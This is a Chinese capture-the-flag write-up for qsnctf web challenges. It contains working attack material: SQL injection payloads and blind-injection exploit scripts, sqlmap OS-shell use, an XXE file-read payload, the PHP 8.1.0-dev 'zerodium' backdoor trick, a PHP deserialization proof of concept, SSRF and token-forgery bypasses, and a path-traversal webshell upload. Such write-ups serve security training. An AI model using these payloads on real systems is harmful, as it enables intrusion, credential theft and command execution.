文章管理系统

点击下一篇

到第4篇就没有内容了,并且翻篇之后会get传参id,尝试sql注入
/?id=4 order by 2#

/?id=4 order by 3#

2列
查看回显位:/?id=4 union select 1,2#

1 2 都能回显内容
查库:/?id=4 union select 1,database()#

word库
查表:/?id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema="word"#

articles
查字段名:/?id=4 union select 1,group_concat(column_name) from information_schema.columns where table_schema="word" and table_name="articles"#

id,title,word
查字段内容:/?id=4 union select 1,group_concat(id,title,word) from articles#

/?id=1 or 1=1 #

提交qsnctf{sql+so+easy!!!!}是错误的
提示:你需要命令执行才能拿到最终FLAG(确信)
使用sqlmap启动shell:python sqlmap.py -u http://challenge.qsnctf.com:38530/?id=1 --os-shell
find / -name *flag*

flag{e01a59261e8c4a38808980fc0eee6fba}
Robots

查看:/robots.txt

查看:/f1ag_1n_the_h3re.php

flag{397870c00e7844ff9c15959644383c1e}
黑客终端


尝试很多命令除了ls都显示找不到该命令,查看前端源码


flag{006c916a8ba94dfabb368f138a4043db}
此地无银三百两

查看源码

flag{43b52a6ea525467082de49d6e7f2c7d1}
PHP的XXE

提示XXE漏洞,查看libxml版本

2.9.0以下默认开启外部实体解析功能
常见可以触发XXE漏洞的文件:dom.php、SimpleXMLElement.php、simplexml_load_string.php



三个文件都可以触发XXE漏洞

先访问漏洞文件,再传payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "file:///flag">
]>
<data>&test;</data>

flag{1bf07721f54d424fbf72de7d5d973f6f}
PHP的后门

提示:查看php版本

搜索:PHP/8.1.0-dev漏洞。得知:
在User-Agentt中使用zerodiumsystem("");可以进行命令执行:User-Agentt: zerodiumsystem("cat /etc/passwd");

查看flag:User-Agentt: zerodiumsystem("cat /flag");

flag{d8a5bcdaf60b41d9b4a5e1f269c0ac12}
EasyMD5

先上传一个正常的图片


减少内容,再发送

![]()
换成pdf文件,再上传

![]()
MD5碰撞:需要这两个内容的md5值相等。尝试0e215962017

![]()
要求内容不能一样
尝试弱比较绕过payload:314282422、571579406

flag{593d1e25f1a44569a6210c5ca491f009}
Easy_SQLi

进行了很多尝试,都回显:

直到' or 1=1 #

结合标题以及只有两种回显内容,应该就是布尔盲注了。exp:
import requests
url = "http://challenge.qsnctf.com:38592/login.php"
right_text = "Login successful"
flag = ""
for i in range(1,1000):
low,high = 32,126
over = False
while low <= high:
mid = (low+high) // 2
# 查当前数据库名:qsnctf
# sql1 = f"' or (ascii(substr((database()),{i},1))={mid})#"
# sql2 = f"' or (ascii(substr((database()),{i},1))>{mid})#"
# 查当前数据库下的所有表名:users
# sql1 = f"' or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='qsnctf')),{i},1))={mid})#"
# sql2 = f"' or (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='qsnctf')),{i},1))>{mid})#"
# 查当前数据库下的users表的所有字段:id,username,password
# sql1 = f"' or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='qsnctf')and(table_name='users')),{i},1))={mid})#"
# sql2 = f"' or (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='qsnctf')and(table_name='users')),{i},1))>{mid})#"
# 查当前数据库下的users表的所有字段的内容:1admin123456,2userflag{e92d40ec066e4183b933c1acacea2a3b}
sql1 = f"' or (ascii(substr((select group_concat(id,username,password) from qsnctf.users),{i},1))={mid})#"
sql2 = f"' or (ascii(substr((select group_concat(id,username,password) from qsnctf.users),{i},1))>{mid})#"
resp1 = requests.post(url, data={"uname":sql1, "psw":"1"})
resp2 = requests.post(url, data={"uname":sql2, "psw":"1"})
if right_text == resp1.text:
flag += chr(mid)
print(flag)
over = True
break
elif right_text == resp2.text:
low = mid + 1
else:
high = mid - 1
if not over:
break
查users表中的数据时要指定数据库才能查出来,不然的话查的内容为空。
flag{e92d40ec066e4183b933c1acacea2a3b}
雏形系统

目录扫描:python dirmap.py -i http://challenge.qsnctf.com:38687/

下载后解压打开qsnctf.php得到重要信息:
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTW
XBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21m
QlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelV
TbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bU
h6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNte
lVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpV
U216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVN
nUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbW
ZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216V
VNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVT
ZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1
RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaH
ViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d
0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhn
Uzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT0
9IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
phpjm混淆内容还原,参考:奇安信攻防社区-phpjm混淆解密浅谈
手动解混淆:
把eval改为echo并执行

将输出内容替换掉原来的eval及其内容以及修改eval为echo并执行

成功获得源码:
<?php
error_reporting(0);
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}
?>
poc:
<?php
class shi
{
public $next;
public $pass='cat /flag';
}
class wo
{
public $sex='boy';
public $age='eighteen';
public $intention;
}
class Demo
{
}
$wo = new wo();
$wo->intention = new shi();
$wo->intention->next = new Demo();
echo serialize($wo);
payload:username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:9:"cat /flag";}}&password=system

flag{8cb414cba0674ec695bfe71438de3c96}
穿梭隐藏的密钥

查看源码

访问:c3s4f.php

查看源码

提示:爆破参数,找到可用参数
arjun -u http://challenge.qsnctf.com:38691/c3s4f.php -m GET

可用参数:shell
目录扫描:python dirmap.py -i http://challenge.qsnctf.com:38691

payload:http://challenge.qsnctf.com:38691/c3s4f.php?shell=http://localtest.me/secret.php

localtest.me可以绕过127.0.0.1的过滤
获得key:MSIBLG以及下一关的文件:cha11eng3.php
访问:http://challenge.qsnctf.com:38691/cha11eng3.php

第一步:利用data伪协议写入上个页面中获得的key,payload:http://challenge.qsnctf.com:38691/cha11eng3.php?DrKn=data://text/plain,MSIBLG

第二步:md4弱比较绕过,_被过滤可用[绕过,payload:http://challenge.qsnctf.com:38691/cha11eng3.php?M[ore.8=0e251288019

第三步:md5强比较绕过,payload:wtf[]=1&mC[]=2

flag{a9f3dfbcbca94c75ad01ab96f1aa3adb}
EzLogin

先手动过一遍。注册:admin'and/**/length(database())/**/=/**/5# 123


登录后把TOKEN的值cp下来,进行十六进制转字符、base64解密:

把is_admin的值改为1,再原路编码回去


将修改后的TOKEN值替换掉原来的,再刷新页面,得到:

以admin'and/**/length(database())/**/=/**/5#为例,
sql语句内容正确时:@q^4*!z8a9-%42z.s~
内容错误时:No user found.
内容中有字符被过滤时:Hacker!!
所有被过滤的内容:
['`', '~', '!', '@', '%', '^', '&', '-', '+', '[', ']', '{', '}', '|', ':', '<', '>', '?', '--', '--+', '&&', '||', '<>', '!(<>)', 'xor', 'if', 'not', 'sleep', 'union', 'order', 'by', 'concat', 'group_concat', 'group', 'benchmark', 'is', 'rlike', 'offset', 'distinct', 'perpare', 'declare', 'mid', 'left', 'right', 'handler', 'set', 'char', 'hex', 'updatexml', 'extractvalue', 'regexp', 'floor', 'having', 'between', 'into', 'join', 'file', 'outfile', 'load_file', 'create', 'drop', 'convert', 'cast', 'show', 'pg_sleep', 'reverse', 'execute', 'open', 'read', 'first', 'case', 'end', 'then', 'iconv', 'greatest']
主要影响:< 和 > 被过滤,不能使用二分查找了,只能通过=来一个一个遍历比较、group_concat被过滤,遇到不同行的数据需要借助limit函数来一个一个取。
exp:
import requests
import base64
import json
import time
url = "http://challenge.qsnctf.com:38786/"
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}@#$\()*+,-./:;<=>?[\\]^`|~_&!%"
def sql_find_ans(sql):
# 空格用注释符绕过
sql = sql.replace(" ", "/**/")
# 注册
data = {"username": sql, "password": "123"}
resp_register = requests.post(url + "register.php", data=data)
# 登录并获取原始响应头中的TOKEN值(重定向后的页面响应头中没有TOKEN值)
resp_login = requests.post(url + "login.php", data=data, allow_redirects=False)
token = resp_login.headers["Set-Cookie"].split("=")[1]
# print(f"[ORIGINAL_TOKEN]:{token}")
# 解密
token = json.loads(base64.b64decode(bytes.fromhex(token)))
# print(f"[NOT_ADMIN]:{token}")
# 修改为admin身份
token["is_admin"] = 1
# print(f"[IS_ADMIN]:{token}")
# 加密回去
token = base64.b64encode(json.dumps(token).encode("utf-8")).hex()
# print(f"[PROCESSED_TOKEN]:{token}")
# 访问home.php并获取结果内容
cookies = {"TOKEN": token}
resp_home = requests.post(url + "home.php", cookies=cookies)
resp_home = resp_home.text.split('<div class="seached-text">')[1].split("</div>")[0].replace("</br>","\n")
# print(f"[RESULT]:{resp_home}")
return resp_home
def fuzz_check():
all_check_word = []
with open(r"D:\Learn\字典\sql_key_words.txt", "r") as text:
text = text.read().replace("\n",",").split(",")
for key_word in text:
print(f"[CHECK]正在检查字符/函数:{key_word}")
try:
result = sql_find_ans(key_word)
except Exception as e:
continue
if "Hacker!!" in result:
all_check_word.append(key_word)
print(f"{key_word}被过滤!")
print(f"[NO]所有被过滤的内容:{all_check_word}")
def get_length_one():
for length in range(1,100):
print(f"[?]正在尝试长度:{length}")
# 获取当前数据库名的长度
# sql = f"admin'and length(database()) = {length}#"
# 获取sseeccrreett字段内容的长度
sql = f"admin'and length((select sseeccrreett from dkctf.secret)) = {length}#"
try:
result = sql_find_ans(sql)
except Exception as e:
print(e)
continue
if "No user found" not in result:
print(f"[LENGTH]:{length}")
return length
break
def get_ans_one():
length = get_length_one()
ans = ""
for i in range(1, length + 1):
print(f"[?]正在获取第{i}个字符...")
for char in chars:
# 获取数据库名
# sql = f"admin'and substr((database()),{i},1) = '{char}'#"
# 获取sseeccrreett字段内容
sql = f"admin'and substr((select sseeccrreett from dkctf.secret),{i},1) = '{char}'#"
try:
result = sql_find_ans(sql)
except Exception as e:
print(e)
continue
if "No user found" not in result:
ans += char
print(f"[OK]已获取到第{i}个字符:{char}")
break
print(f"[ANS]:{ans}")
def get_length_two():
length_result = {}
for i in range(20):
over = False
for length in range(1,100):
# 获取当前数据库下所有单个表名的长度
# sql = f"admin'and length((select table_name from information_schema.tables where table_schema='dkctf' limit {i},1)) = {length}#"
# 获取secret表下所有单个字段名的长度
sql = f"admin'and length((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {i},1)) = {length}#"
try:
result = sql_find_ans(sql)
except Exception as e:
print(e)
continue
if "No user found" not in result:
print(f"[LENGTH_RESULT]第{i+1}个长度为:{length}")
length_result[i] = length
over = True
break
if not over:
return length_result
def get_ans_two():
length_dict = get_length_two()
ans = {}
for leng in range(len(length_dict)):
tmp = ""
for i in range(1, length_dict[leng] + 1):
print(f"[?]正在获取第{leng+1}个的第{i}个字符...")
for char in chars:
# 获取当前数据库下所有单个表名
# sql = f"admin'and substr((select table_name from information_schema.tables where table_schema='dkctf' limit {leng},1),{i},1) = '{char}'#"
# 获取secret表下所有单个字段名
sql = f"admin'and substr((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {leng},1),{i},1) = '{char}'#"
try:
result = sql_find_ans(sql)
except Exception as e:
print(e)
continue
if "No user found" not in result:
tmp += char
print(f"[OVO]第{leng+1}个内容的第{i}个字符为:{char}")
break
ans[leng] = tmp
print(f"[ANS]:{ans}")
if __name__ == '__main__':
start_time = time.time()
# 检查哪些字符和函数被过滤了
# fuzz_check()
# 用于获取同一行的值:数据库名、最后的flag
get_ans_one()
# 用于获取不同行的值:各个表名、各个字段名
# get_ans_two()
end_time = time.time()
print(f"[OVER]程序结束,耗时(秒):{end_time-start_time}")

flag{5e32f88f1f224bdf909918989ac7c029}
ezsign

输入admin、123登录

来到留言板后输入127.0.0.1或dir等其他命令都只会将输入的内容直接回显出来,没有可供利用的地方。

尝试目录扫描获取信息:python dirmap.py -i http://challenge.qsnctf.com:38814

下载后打开,得到关键信息:

满足$_SERVER['REMOTE_ADDR'] == "127.0.0.1"条件后会出现一个可供上传文件的功能。
利用点:

extract函数会将数组中的键值对拆解为变量名和对应的变量值,所以可以通过变量覆盖的方式来满足条件。payload:/?_SERVER[REMOTE_ADDR]=127.0.0.1

上传任何文件以及尝试修改内容MIME等都显示上传失败!
回到从index.php.bak中获取到的源码:

默认的上传路径应该是:/var/www/html/upload/登录时输入的用户名/上传的文件名
从源码中可以得知:username这里是没有任何过滤的,所以可以抓包改username的值为..来将上传的文件实现路径穿越到html目录下

先进行b64解码 然后修改admin为.. 最后加密回去
eyJ1c2VybmFtZSI6Ii4uIiwicGFzc3dvcmQiOiIxMjMifQ==

文件可以上传至网站根目录中
访问上传成功的小马并进行命令执行:a=system("ls /");

a=system("cat /f1ag_1s_h3r3_04c76718-3c8f-4049-be9c-322548473c10");

flag{d95dab3003bd4158ae5cb907cac9e6ca}

204

被折叠的 条评论
为什么被折叠?



